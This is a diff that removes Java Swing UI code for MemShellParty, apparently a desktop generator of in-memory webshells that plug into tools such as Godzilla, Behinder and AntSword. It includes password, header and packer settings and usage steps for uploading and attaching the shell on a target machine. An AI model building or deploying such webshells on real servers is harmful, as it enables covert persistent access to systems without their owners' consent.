.build();
ShellToolConfig shellToolConfig = buildShellToolConfig(s);
MemShellResult memShellResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
String packMethod = s.getPackingMethod();
Packers packers = Packers.fromName(packMethod);
Packer<?> packer = packers.getInstance();
String packResult;
if (packer instanceof JarPacker) {
JarPacker jarPacker = (JarPacker) packer;
packResult = Base64.getEncoder().encodeToString(jarPacker.packBytes(memShellResult.toJarPackerConfig()));
} else {
ClassPackerConfig<Object> classPackerConfig = cast(memShellResult.toClassPackerConfig());
Map<String, Object> rawCustom = new LinkedHashMap<>(s.getPackerCustomConfig());
classPackerConfig.setCustomConfig(((Packer<Object>) packer).resolveCustomConfig(rawCustom));
packResult = ((Packer<Object>) packer).pack(classPackerConfig);
}
return new DesktopMemShellGenerateResult(memShellResult, packMethod, packResult);
}
@SuppressWarnings("unchecked")
private static ClassPackerConfig<Object> cast(ClassPackerConfig<?> c) {
return (ClassPackerConfig<Object>) c;
}
private ShellToolConfig buildShellToolConfig(MemShellFormState s) {
String tool = s.getShellTool();
if (ShellTool.Godzilla.equals(tool)) {
return GodzillaConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getGodzillaPass()))
.key(blankToNull(s.getGodzillaKey()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Behinder.equals(tool)) {
return BehinderConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getBehinderPass()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.AntSword.equals(tool)) {
return AntSwordConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.pass(blankToNull(s.getAntSwordPass()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Suo5.equals(tool) || ShellTool.Suo5v2.equals(tool)) {
return Suo5Config.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.NeoreGeorg.equals(tool)) {
return NeoreGeorgConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Proxy.equals(tool)) {
return ProxyConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.build();
}
if (ShellTool.Custom.equals(tool)) {
return CustomConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.shellClassBase64(blankToNull(s.getShellClassBase64()))
.build();
}
if (ShellTool.Command.equals(tool)) {
return CommandConfig.builder()
.shellClassName(blankToNull(s.getShellClassName()))
.paramName(blankToNull(s.getCommandParamName()))
.headerName(blankToNull(s.getHeaderName()))
.headerValue(blankToNull(s.getHeaderValue()))
.template(blankToNull(s.getCommandTemplate()))
.encryptor(CommandConfig.Encryptor.fromString(blankToNull(s.getEncryptor())))
.implementationClass(CommandConfig.ImplementationClass.fromString(blankToNull(s.getImplementationClass())))
.build();
}
throw new IllegalArgumentException("Unsupported shell tool: " + tool);
}
private int parseInt(String value, int defaultValue) {
try {
return Integer.parseInt(value);
} catch (Exception ignored) {
return defaultValue;
}
}
private static String blankToNull(String s) {
return s == null || s.trim().isEmpty() ? null : s;
}
private static String blankToDefault(String s, String d) {
return s == null || s.trim().isEmpty() ? d : s;
}
}
@@ -1,138 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
import com.reajason.javaweb.desktop.memshell.ui.panel.MainConfigPanel;
import com.reajason.javaweb.desktop.memshell.ui.panel.PackageConfigPanel;
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import java.awt.*;
public class MemShellGeneratorFrame extends JFrame {
private final MemShellFormController controller;
private final GenerationService generationService;
private final MainConfigPanel mainConfigPanel;
private final PackageConfigPanel packageConfigPanel;
private final ResultPanel resultPanel;
private final JButton generateButton = new JButton("生成内存马");
private final JLabel statusLabel = new JLabel("就绪");
private JComponent mainContentPanel;
public MemShellGeneratorFrame() {
super("MemShellParty - MemShellGenerator");
this.controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
this.generationService = new GenerationService();
CustomClassNameParser customClassNameParser = new CustomClassNameParser();
this.resultPanel = new ResultPanel();
this.mainConfigPanel = new MainConfigPanel(controller, customClassNameParser, this::refreshAll);
this.packageConfigPanel = new PackageConfigPanel(controller, this::refreshAll);
setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
setMinimumSize(new Dimension(1180, 900));
setSize(1280, 900);
setLocationRelativeTo(null);
setLayout(new BorderLayout(6, 6));
add(buildToolbar(), BorderLayout.NORTH);
add(buildContent(), BorderLayout.CENTER);
add(buildStatusBar(), BorderLayout.SOUTH);
generateButton.addActionListener(e -> onGenerate());
resultPanel.clear();
refreshAll();
}
private JComponent buildToolbar() {
JPanel p = new JPanel(new BorderLayout());
p.setBorder(BorderFactory.createEmptyBorder(4, 8, 2, 8));
return p;
}
private JComponent buildContent() {
JPanel topPane = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[][]"));
JPanel leftColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
leftColumn.add(mainConfigPanel.getCorePanelComponent(), "growx");
leftColumn.add(packageConfigPanel, "growx");
JPanel rightColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]"));
rightColumn.add(mainConfigPanel.getToolPanelComponent(), "growx");
JPanel topColumns = new JPanel(new MigLayout("insets 0, fillx, aligny top, gapx 8, wrap 2",
"[grow,fill,sg topCol][grow,fill,sg topCol]",
"[top]"));
topColumns.add(leftColumn, "growx, pushx, top");
topColumns.add(rightColumn, "growx, pushx, top");
topPane.add(topColumns, "growx, pushy");
topPane.add(generateButton, "wrap, growx, gaptop 10");
generateButton.setFont(generateButton.getFont().deriveFont(Font.BOLD, 14f));
JPanel content = new JPanel(new MigLayout("insets 0, fill, wrap 1", "[grow,fill]", "[][grow,fill]"));
content.add(topPane, "growx");
content.add(resultPanel, "grow, push");
mainContentPanel = content;
return content;
}
private JComponent buildStatusBar() {
JPanel p = new JPanel(new BorderLayout());
p.setBorder(BorderFactory.createEmptyBorder(3, 8, 3, 8));
p.add(statusLabel, BorderLayout.WEST);
return p;
}
private void onGenerate() {
com.reajason.javaweb.desktop.memshell.validation.MemShellValidator.Result validation = controller.validate();
if (!validation.isValid()) {
statusLabel.setText("校验失败");
SwingUiUtil.showError(this, validation.firstMessage());
return;
}
generateButton.setEnabled(false);
statusLabel.setText("生成中...");
SwingWorker<DesktopMemShellGenerateResult, Void> worker = new SwingWorker<DesktopMemShellGenerateResult, Void>() {
@Override
protected DesktopMemShellGenerateResult doInBackground() {
return generationService.generate(controller.getState().copy());
}
@Override
protected void done() {
generateButton.setEnabled(true);
try {
DesktopMemShellGenerateResult result = get();
resultPanel.showResult(result);
statusLabel.setText("生成成功");
} catch (Exception ex) {
statusLabel.setText("生成失败");
SwingUiUtil.showError(MemShellGeneratorFrame.this, "生成失败: " + (ex.getCause() != null ? ex.getCause().getMessage() : ex.getMessage()));
}
}
};
worker.execute();
}
public void refreshAll() {
mainConfigPanel.refreshFromController();
packageConfigPanel.refreshFromController();
repaint();
revalidate();
}
JComponent getMainContentPanel() {
return mainContentPanel;
}
JButton getGenerateButton() {
return generateButton;
}
}
@@ -1,169 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.ui.panel.tool.*;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import java.awt.*;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class MainConfigPanel extends JPanel {
private final MemShellFormController controller;
private final Runnable refreshAll;
private boolean updating;
private final JComboBox<String> serverCombo = new JComboBox<>();
private final JComboBox<String> serverVersionCombo = new JComboBox<>();
private final JComboBox<String> shellToolCombo = new JComboBox<>();
private final JComboBox<String> targetJdkCombo = new JComboBox<>();
private final JCheckBox debugCheck = new JCheckBox("调试模式");
private final JCheckBox probeCheck = new JCheckBox("回显模式");
private final JCheckBox bypassCheck = new JCheckBox("绕过模块限制");
private final JCheckBox lambdaCheck = new JCheckBox("Lambda 类名后缀");
private final JCheckBox shrinkCheck = new JCheckBox("缩小字节码");
private final JCheckBox staticInitCheck = new JCheckBox("静态初始化");
private final JPanel corePanel;
private final JPanel toolPanelWrap;
private final JPanel toolCardPanel = new JPanel(new CardLayout());
private final Map<String, RefreshableToolPanel> toolPanels = new LinkedHashMap<>();
public MainConfigPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
super(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
this.controller = controller;
this.refreshAll = refreshAll;
corePanel = new JPanel(new MigLayout("insets 8, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
corePanel.setBorder(BorderFactory.createTitledBorder("核心配置"));
corePanel.add(labeled("服务类型", serverCombo), "growx");
corePanel.add(labeled("服务版本", serverVersionCombo), "growx");
corePanel.add(labeled("内存马工具", shellToolCombo), "growx");
corePanel.add(labeled("JRE 版本", targetJdkCombo), "growx");
JPanel togglePanel = new JPanel(new MigLayout("insets 0, gapx 8, gapy 2, wrap 3", "[grow,fill][grow,fill][grow,fill]", "[]"));
togglePanel.add(debugCheck);
togglePanel.add(probeCheck);
togglePanel.add(bypassCheck);
togglePanel.add(lambdaCheck);
togglePanel.add(shrinkCheck);
togglePanel.add(staticInitCheck);
corePanel.add(togglePanel, "span 2, growx");
add(corePanel, "growx");
toolPanelWrap = new JPanel(new BorderLayout());
toolPanelWrap.setBorder(BorderFactory.createTitledBorder("内存马功能"));
// Keep the active tool panel at preferred height to avoid large blank sections.
toolPanelWrap.add(toolCardPanel, BorderLayout.NORTH);
add(toolPanelWrap, "growx");
registerToolPanel("Godzilla", new GodzillaToolPanel(controller, refreshAll));
registerToolPanel("Command", new CommandToolPanel(controller, refreshAll));
registerToolPanel("Behinder", new BehinderToolPanel(controller, refreshAll));
registerToolPanel("AntSword", new AntSwordToolPanel(controller, refreshAll));
registerToolPanel("Suo5", new Suo5ToolPanel(controller, refreshAll));
registerToolPanel("Suo5v2", new Suo5ToolPanel(controller, refreshAll));
registerToolPanel("NeoreGeorg", new NeoRegToolPanel(controller, refreshAll));
registerToolPanel("Proxy", new ProxyToolPanel(controller, refreshAll));
registerToolPanel("Custom", new CustomToolPanel(controller, parser, refreshAll));
bindEvents();
}
private void registerToolPanel(String key, RefreshableToolPanel panel) {
toolPanels.put(key, panel);
toolCardPanel.add((Component) panel, key);
}
private JPanel labeled(String label, JComponent component) {
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
p.add(new JLabel(label));
p.add(component, "growx");
return p;
}
private void bindEvents() {
serverCombo.addActionListener(e -> {
if (updating) return;
Object item = serverCombo.getSelectedItem();
if (item != null) {
controller.setServer(String.valueOf(item));
refreshAll.run();
}
});
serverVersionCombo.addActionListener(e -> {
if (updating) return;
Object item = serverVersionCombo.getSelectedItem();
if (item != null) controller.setServerVersion(String.valueOf(item));
});
shellToolCombo.addActionListener(e -> {
if (updating) return;
Object item = shellToolCombo.getSelectedItem();
if (item != null) {
controller.setShellTool(String.valueOf(item));
refreshAll.run();
}
});
targetJdkCombo.addActionListener(e -> {
if (updating) return;
Object item = targetJdkCombo.getSelectedItem();
if (item != null) {
controller.setTargetJdkVersion(String.valueOf(item));
refreshAll.run();
}
});
debugCheck.addActionListener(e -> controller.setDebug(debugCheck.isSelected()));
probeCheck.addActionListener(e -> controller.setProbe(probeCheck.isSelected()));
bypassCheck.addActionListener(e -> controller.setByPassJavaModule(bypassCheck.isSelected()));
lambdaCheck.addActionListener(e -> controller.setLambdaSuffix(lambdaCheck.isSelected()));
shrinkCheck.addActionListener(e -> controller.setShrink(shrinkCheck.isSelected()));
staticInitCheck.addActionListener(e -> controller.setStaticInitialize(staticInitCheck.isSelected()));
}
public void refreshFromController() {
MemShellFormState s = controller.getState();
updating = true;
try {
setComboItems(serverCombo, controller.getServers(), s.getServer());
setComboItems(serverVersionCombo, controller.getServerVersionOptions(), s.getServerVersion());
setComboItems(shellToolCombo, controller.getShellTools(), s.getShellTool());
setComboItems(targetJdkCombo, controller.getConfigCatalogService().getTargetJdkOptions(), s.getTargetJdkVersion());
debugCheck.setSelected(s.isDebug());
probeCheck.setSelected(s.isProbe());
bypassCheck.setSelected(s.isByPassJavaModule());
lambdaCheck.setSelected(s.isLambdaSuffix());
shrinkCheck.setSelected(s.isShrink());
staticInitCheck.setSelected(s.isStaticInitialize());
} finally {
updating = false;
}
CardLayout cardLayout = (CardLayout) toolCardPanel.getLayout();
cardLayout.show(toolCardPanel, s.getShellTool());
RefreshableToolPanel toolPanel = toolPanels.get(s.getShellTool());
if (toolPanel != null) {
toolPanel.refreshFromController();
}
}
private void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
combo.removeAllItems();
for (String item : items) combo.addItem(item);
if (selected != null) combo.setSelectedItem(selected);
}
public JComponent getCorePanelComponent() {
return corePanel;
}
public JComponent getToolPanelComponent() {
return toolPanelWrap;
}
}
@@ -1,131 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
public class PackageConfigPanel extends JPanel {
private final MemShellFormController controller;
private final Runnable refreshAll;
private boolean updating;
private final JComboBox<PackerEntryModel> packerCombo = new JComboBox<>();
private final JPanel dynamicFieldsPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
public PackageConfigPanel(MemShellFormController controller, Runnable refreshAll) {
super(new MigLayout("insets 8, fillx, wrap 1", "[grow,fill]", "[]4[]"));
this.controller = controller;
this.refreshAll = refreshAll;
setBorder(BorderFactory.createTitledBorder("打包配置"));
JPanel top = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
top.add(new JLabel("打包方式"));
top.add(packerCombo, "growx");
add(top, "growx");
add(dynamicFieldsPanel, "growx");
packerCombo.setRenderer(new DefaultListCellRenderer() {
@Override
public java.awt.Component getListCellRendererComponent(JList<?> list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus);
if (value instanceof PackerEntryModel) {
PackerEntryModel p = (PackerEntryModel) value;
setText(p.displayLabel());
}
return this;
}
});
packerCombo.addActionListener(e -> {
if (updating) return;
Object item = packerCombo.getSelectedItem();
if (item instanceof PackerEntryModel) {
PackerEntryModel p = (PackerEntryModel) item;
controller.setPacker(p.getName());
refreshAll.run();
}
});
}
public void refreshFromController() {
updating = true;
try {
DefaultComboBoxModel<PackerEntryModel> model = new DefaultComboBoxModel<>();
List<PackerEntryModel> filtered = controller.getFilteredPackers();
PackerEntryModel selected = controller.getSelectedPackerEntry();
for (PackerEntryModel p : filtered) model.addElement(p);
packerCombo.setModel(model);
if (selected != null) packerCombo.setSelectedItem(selected);
rebuildDynamicFields(controller.getSelectedPackerFields(), controller.getPackerCustomConfig());
} finally {
updating = false;
}
}
private void rebuildDynamicFields(List<PackerSchemaFieldModel> fields, Map<String, Object> currentValues) {
dynamicFieldsPanel.removeAll();
if (fields == null || fields.isEmpty()) {
dynamicFieldsPanel.revalidate();
dynamicFieldsPanel.repaint();
return;
}
for (PackerSchemaFieldModel field : fields) {
String type = field.getType();
if (!"BOOLEAN".equals(type) && !"STRING".equals(type) && !"ENUM".equals(type) && !"INTEGER".equals(type)) {
continue;
}
Object value = currentValues.get(field.getKey());
if ("BOOLEAN".equals(type)) {
JCheckBox check = new JCheckBox(field.getKey());
check.setSelected(Boolean.TRUE.equals(value));
check.addActionListener(e -> controller.setPackerCustomField(field.getKey(), check.isSelected()));
dynamicFieldsPanel.add(check, "span 2, growx");
continue;
}
dynamicFieldsPanel.add(new JLabel(field.getKey()));
if ("ENUM".equals(type)) {
JComboBox<String> combo = new JComboBox<>();
for (PackerSchemaFieldModel.Option option : field.getOptions()) {
combo.addItem(option.getValue());
}
if (value != null) combo.setSelectedItem(String.valueOf(value));
combo.addActionListener(e -> controller.setPackerCustomField(field.getKey(), combo.getSelectedItem()));
dynamicFieldsPanel.add(combo, "growx");
} else {
JTextField text = new JTextField(value == null ? "" : String.valueOf(value));
text.getDocument().addDocumentListener(new DocumentListener() {
@Override public void insertUpdate(DocumentEvent e) { changed(); }
@Override public void removeUpdate(DocumentEvent e) { changed(); }
@Override public void changedUpdate(DocumentEvent e) { changed(); }
private void changed() {
if (updating) return;
if ("INTEGER".equals(type)) {
String raw = text.getText().trim();
if (raw.isEmpty()) {
controller.setPackerCustomField(field.getKey(), null);
} else {
try {
controller.setPackerCustomField(field.getKey(), Integer.parseInt(raw));
} catch (NumberFormatException ignored) {
}
}
} else {
controller.setPackerCustomField(field.getKey(), text.getText());
}
}
});
dynamicFieldsPanel.add(text, "growx");
}
}
dynamicFieldsPanel.revalidate();
dynamicFieldsPanel.repaint();
}
}
@@ -1,249 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.util.ClipboardUtil;
import com.reajason.javaweb.desktop.memshell.util.FileSaveUtil;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.*;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.border.Border;
import java.awt.*;
import java.io.IOException;
public class ResultPanel extends JPanel {
private final JTabbedPane tabs = new JTabbedPane();
private final BasicInfoView basicInfoView = new BasicInfoView();
private final JTextArea packResultArea = createTextArea();
private final JTextArea shellArea = createTextArea();
private final JTextArea injectorArea = createTextArea();
private final JLabel packHeaderLabel = new JLabel("未生成");
private DesktopMemShellGenerateResult current;
public ResultPanel() {
super(new BorderLayout());
JPanel packTab = new JPanel(new MigLayout("insets 6, fill, wrap 1", "[grow,fill]", "[][grow]"));
packTab.add(wrapBasicInfoPanel(), "growx");
packTab.add(wrapPackResultPanel(), "grow, push");
tabs.addTab("生成结果", packTab);
tabs.addTab("内存马", wrapBase64Panel("内存马类字节(Base64)", shellArea, true, true));
tabs.addTab("注入器", wrapBase64Panel("注入器类字节(Base64)", injectorArea, false, true));
add(tabs, BorderLayout.CENTER);
}
private JPanel wrapBasicInfoPanel() {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
top.add(new JLabel("基本信息"));
Border cardBorder = BorderFactory.createCompoundBorder(
BorderFactory.createLineBorder(UIManager.getColor("Component.borderColor") == null ? Color.LIGHT_GRAY : UIManager.getColor("Component.borderColor")),
BorderFactory.createEmptyBorder(6, 6, 6, 6)
);
p.setBorder(cardBorder);
p.add(top, BorderLayout.NORTH);
p.add(basicInfoView, BorderLayout.CENTER);
return p;
}
private JPanel wrapPackResultPanel() {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
JButton copyBtn = new JButton("复制");
JButton saveBtn = new JButton("保存");
copyBtn.addActionListener(e -> ClipboardUtil.copyText(packResultArea.getText()));
saveBtn.addActionListener(e -> savePackResult());
top.add(new JLabel("打包结果"));
top.add(packHeaderLabel);
top.add(copyBtn);
top.add(saveBtn);
p.add(top, BorderLayout.NORTH);
p.add(new JScrollPane(packResultArea), BorderLayout.CENTER);
return p;
}
private JPanel wrapBase64Panel(String title, JTextArea area, boolean shell, boolean saveClass) {
JPanel p = new JPanel(new BorderLayout());
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
JButton copyBtn = new JButton("复制");
JButton saveBtn = new JButton(saveClass ? "保存 .class" : "保存");
copyBtn.addActionListener(e -> ClipboardUtil.copyText(area.getText()));
saveBtn.addActionListener(e -> {
if (current == null) return;
try {
MemShellResult r = current.getMemShellResult();
if (shell) {
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getShellClassName()), r.getShellBytesBase64Str(), "class");
} else {
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getInjectorClassName()), r.getInjectorBytesBase64Str(), "class");
}
} catch (Exception ex) {
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
}
});
top.add(new JLabel(title));
top.add(copyBtn);
top.add(saveBtn);
p.add(top, BorderLayout.NORTH);
p.add(new JScrollPane(area), BorderLayout.CENTER);
return p;
}
private JTextArea createTextArea() {
JTextArea area = new JTextArea();
area.setEditable(false);
area.setLineWrap(true);
area.setWrapStyleWord(true);
area.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12));
return area;
}
public void showResult(DesktopMemShellGenerateResult result) {
this.current = result;
MemShellResult r = result.getMemShellResult();
basicInfoView.setResult(result);
packHeaderLabel.setText(result.getPackMethod() + (result.getPackResult() == null ? "" : " (" + result.getPackResult().length() + ")"));
if (result.isJarOutput() || result.isAgentOutput()) {
packResultArea.setText(buildUsageText(result));
} else {
packResultArea.setText(result.getPackResult());
}
shellArea.setText(r.getShellBytesBase64Str());
injectorArea.setText(r.getInjectorBytesBase64Str());
}
public void clear() {
current = null;
basicInfoView.clear();
packResultArea.setText("");
shellArea.setText("");
injectorArea.setText("");
packHeaderLabel.setText("未生成");
}
private String buildUsageText(DesktopMemShellGenerateResult result) {
if (result.isAgentOutput()) {
return "1. 点击保存导出 Agent Jar\n2. 上传到目标机器\n3. 使用 jattach/attach 方式加载\n4. 按生成配置尝试连接/触发\n\n(下方“保存”按钮会保存打包后的 Jar)";
}
return "1. 点击保存导出 Jar\n2. 按目标环境触发类加载\n3. 使用基本信息中的参数连接内存马\n\n(下方“保存”按钮会保存打包后的 Jar)";
}
private void savePackResult() {
if (current == null) return;
try {
if (current.isJarOutput() || current.isAgentOutput()) {
String baseName = current.getMemShellResult().getShellConfig().getServer() + current.getMemShellResult().getShellConfig().getShellTool() + (current.isAgentOutput() ? "MemShellAgent" : "MemShell");
FileSaveUtil.saveBase64AsBytes(this, baseName + ".jar", current.getPackResult(), "jar");
} else {
FileSaveUtil.saveText(this, current.getPackMethod() + ".txt", current.getPackResult());
}
} catch (Exception ex) {
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
}
}
private static String simpleClassFileName(String className) {
if (className == null || className.trim().isEmpty()) return "output.class";
int idx = className.lastIndexOf('.');
return (idx >= 0 ? className.substring(idx + 1) : className) + ".class";
}
public JComponent getBasicInfoComponent() {
return basicInfoView;
}
static final class BasicInfoView extends JPanel {
private final JPanel content = new JPanel(new MigLayout("insets 0, fillx, gapx 10, gapy 2, wrap 2", "[right]10[grow,fill]", "[]"));
BasicInfoView() {
super(new BorderLayout());
add(content, BorderLayout.CENTER);
clear();
}
void clear() {
content.removeAll();
content.revalidate();
content.repaint();
}
void setResult(DesktopMemShellGenerateResult result) {
content.removeAll();
MemShellResult r = result.getMemShellResult();
ShellConfig shellConfig = r.getShellConfig();
ShellToolConfig toolConfig = r.getShellToolConfig();
appendToolRows(shellConfig, toolConfig);
row("注入器类名", r.getInjectorClassName() + " (" + r.getInjectorSize() + " bytes)");
row("内存马类名", r.getShellClassName() + " (" + r.getShellSize() + " bytes)");
content.revalidate();
content.repaint();
}
private void appendToolRows(ShellConfig shellConfig, ShellToolConfig toolConfig) {
if (toolConfig == null) {
row("参数", "");
return;
}
String tool = shellConfig == null ? null : shellConfig.getShellTool();
if (toolConfig instanceof GodzillaConfig) {
GodzillaConfig c = (GodzillaConfig) toolConfig;
row("密码", c.getPass());
row("密钥", c.getKey());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof BehinderConfig) {
BehinderConfig c = (BehinderConfig) toolConfig;
row("密码", c.getPass());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof CommandConfig) {
CommandConfig c = (CommandConfig) toolConfig;
row("参数名", c.getParamName());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
row("加密器", c.getEncryptor() == null ? "" : c.getEncryptor().name());
row("实现类", c.getImplementationClass() == null ? "" : c.getImplementationClass().name());
if (c.getTemplate() != null) {
row("命令模板", c.getTemplate());
}
} else if (toolConfig instanceof AntSwordConfig) {
AntSwordConfig c = (AntSwordConfig) toolConfig;
row("密码", c.getPass());
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof Suo5Config) {
Suo5Config c = (Suo5Config) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof ProxyConfig) {
ProxyConfig c = (ProxyConfig) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof NeoreGeorgConfig) {
NeoreGeorgConfig c = (NeoreGeorgConfig) toolConfig;
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
} else if (toolConfig instanceof CustomConfig) {
CustomConfig c = (CustomConfig) toolConfig;
String v = c.getShellClassBase64();
row("自定义类(Base64)", v == null ? "" : (v.length() > 32 ? v.substring(0, 32) + "..." : v));
} else if (tool != null) {
row("工具类型", tool);
}
}
private void row(String key, String value) {
addValueRow(key, value);
}
private void addValueRow(String key, String value) {
String text = value == null ? "" : value;
content.add(new JLabel(key));
JTextField tf = new JTextField(text);
tf.setEditable(false);
tf.setBorder(BorderFactory.createEmptyBorder(1, 4, 1, 4));
tf.setOpaque(true);
tf.setBackground(UIManager.getColor("Panel.background"));
tf.setToolTipText(value == null ? "" : value);
tf.setToolTipText(text);
content.add(tf, "growx, wrap");
}
}
}
@@ -1,118 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.awt.*;
import java.util.List;
import java.util.function.Consumer;
public abstract class AbstractToolPanel extends JPanel implements RefreshableToolPanel {
protected final MemShellFormController controller;
protected final Runnable refreshAll;
protected boolean updating;
protected final JComboBox<String> shellTypeCombo = new JComboBox<>();
protected final JTextField urlPatternField = new JTextField();
protected final JPanel shellTypeAndUrlRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[50%,fill][50%,fill]", "[]"));
protected JPanel urlPatternRow = new JPanel(new BorderLayout());
protected final JCheckBox randomClassNameCheck = new JCheckBox("随机类名");
protected final JPanel manualClassPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
protected final JTextField shellClassNameField = new JTextField();
protected final JTextField injectorClassNameField = new JTextField();
protected AbstractToolPanel(MemShellFormController controller, Runnable refreshAll) {
this.controller = controller;
this.refreshAll = refreshAll;
setLayout(new MigLayout("insets 6, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
buildCommonShellTypeSection();
}
protected void buildCommonShellTypeSection() {
shellTypeAndUrlRow.add(labeled("内存马挂载类型", shellTypeCombo), "growx");
urlPatternRow = labeled("请求路径", urlPatternField);
shellTypeAndUrlRow.add(urlPatternRow, "growx");
add(shellTypeAndUrlRow, "span 2, growx, wrap");
shellTypeCombo.addActionListener(e -> {
if (updating) return;
Object item = shellTypeCombo.getSelectedItem();
if (item != null) {
controller.setShellType(String.valueOf(item));
refreshAll.run();
}
});
bindText(urlPatternField, controller::setUrlPattern);
}
protected void addRandomClassSection() {
add(randomClassNameCheck, "span 2, split 2, wrap");
manualClassPanel.add(labeled("内存马类名", shellClassNameField), "growx");
manualClassPanel.add(labeled("注入器类名", injectorClassNameField), "growx");
add(manualClassPanel, "span 2, growx, hidemode 3");
randomClassNameCheck.addActionListener(e -> {
if (updating) return;
controller.setRandomClassName(randomClassNameCheck.isSelected());
refreshAll.run();
});
bindText(shellClassNameField, controller::setShellClassName);
bindText(injectorClassNameField, controller::setInjectorClassName);
}
protected JPanel labeled(String label, JComponent component) {
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
p.add(new JLabel(label), "growx");
p.add(component, "growx");
return p;
}
protected void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
combo.removeAllItems();
